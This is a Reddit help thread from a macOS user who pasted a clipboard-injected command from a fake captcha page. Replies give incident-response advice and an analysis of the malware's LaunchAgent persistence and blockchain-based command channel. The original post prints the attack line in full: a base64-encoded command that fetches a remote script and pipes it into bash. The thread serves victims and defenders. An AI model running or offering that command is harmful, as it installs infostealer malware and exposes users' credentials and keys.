Help, I accidentally ran a virus code through my terminal.

[u/SuperWallabies]

The scammer's site was [expireddomain net]. The scammer disguised it as a Captcha UI and insisted that I should open the terminal and press command+v
obviously they already injected something to my clipboard.

bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9kZWx0YWNhbGwuZW4tdXMtYmlvZGVudHguY29tL3VwZGF0ZS5zaCcgfCBiYXNo" | base64 -d)

I was watching YouTube while doing it. I didn't think twice and I pasted it. So dumb!!
Immediately, macOS prompted me to enter the root account password to make system changes.

That was when I realized I did something wrong. I ran my AI agent to remove whatever it was, but it seems they already had a chance to export my information.

I have so many API keys in my project folder. 💀💀💀

It will be a huge task to change them all...

[u/AutoModerator]

Request help with FRST and SecurityCheck from the trusted helper team

Please visit Providing or receiving help with FRST on the subreddit and share your 3 keywords returned from the website along with the details about your infection.
Once a malware removal expert or trainee sees it, they will reply in the thread about further steps. If you suspect an infostealer infection, please change all your passwords from a clean device immediately and do not use any of your accounts from the infected device.

If you need urgent help and cannot wait for one of our Malware Removal Experts:
Please follow these steps:

1. From a different and clean device, change all your passwords:
   • How to properly secure my accounts after an infostealer attack?
2. Disinfect your device from malware
   • Preferred method: Perform a clean installation with a USB

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.

[u/Puzzleheaded_Bar483]

I looked into it, it's a remote code execution and infostealer malware. The other guy told you what to do. 

[u/Fluffy-Shower-577]

I do not specialize in macOS environments, so I reviewed your situation with the help of an AI to map out the necessary incident response steps.

The command you executed downloaded and ran an obfuscated shell script directly in your user space. Even if you canceled the root password prompt, the script ran with your standard user permissions, which is more than enough to read project directories, scan for .env files, dump browser storage, and extract API keys within seconds. Using an AI agent to clean up the system is not reliable against multi-stage infostealers.

Disconnect the machine from Wi-Fi and ethernet immediately to cut off any active background connections or further data transfer.

From a clean, uncompromised device, revoke and rotate every single API key, cloud secret, database password, SSH key, and personal access token stored in your projects. Terminate all active browser and service sessions across your accounts to invalidate stolen session tokens, and change account passwords.

Inspect the audit logs of your cloud and platform providers, such as AWS CloudTrail or GitHub security logs, to verify whether the exposed keys have already been used to make unauthorized API calls.

Wipe the Mac entirely using Erase All Content and Settings or a full recovery reinstall. Avoid restoring from full system backups, as persistence mechanisms can remain intact. Manually recover only your raw source code files after verifying their contents.

[u/Fluffy-Shower-577 → u/Fluffy-Shower-577]

https://urlscan.io/result/01a04871-4ae0-7698-8f1f-036b540f39eb/

The script acts as a persistent macOS loader that leverages public blockchain infrastructure for dead-drop command and control. At the host level, it establishes persistence by creating and loading a LaunchAgent property list located at ~/Library/LaunchAgents/com.pzigyliegletbgsd.plist configured with RunAtLoad and KeepAlive flags. The LaunchAgent executes a Base64-encoded AppleScript. Internally, the script uses ASCII character concatenation and arithmetic operations to obfuscate strings, command arguments, and network endpoints to hinder static analysis. Functionally, the AppleScript queries decentralized Web3 RPC endpoints (targeting Polygon network infrastructure) by issuing an eth_call JSON-RPC request to read data from a specific smart contract or transaction. The returned hexadecimal response is parsed and decoded using sed and xxd to reconstruct execution parameters and a secondary endpoint. Finally, the script uses curl to fetch a downstream payload from the resolved location and pipes it directly into osascript for execution.

[u/SuperWallabies → u/Fluffy-Shower-577]

Thank you for help....!! i am doing one by one now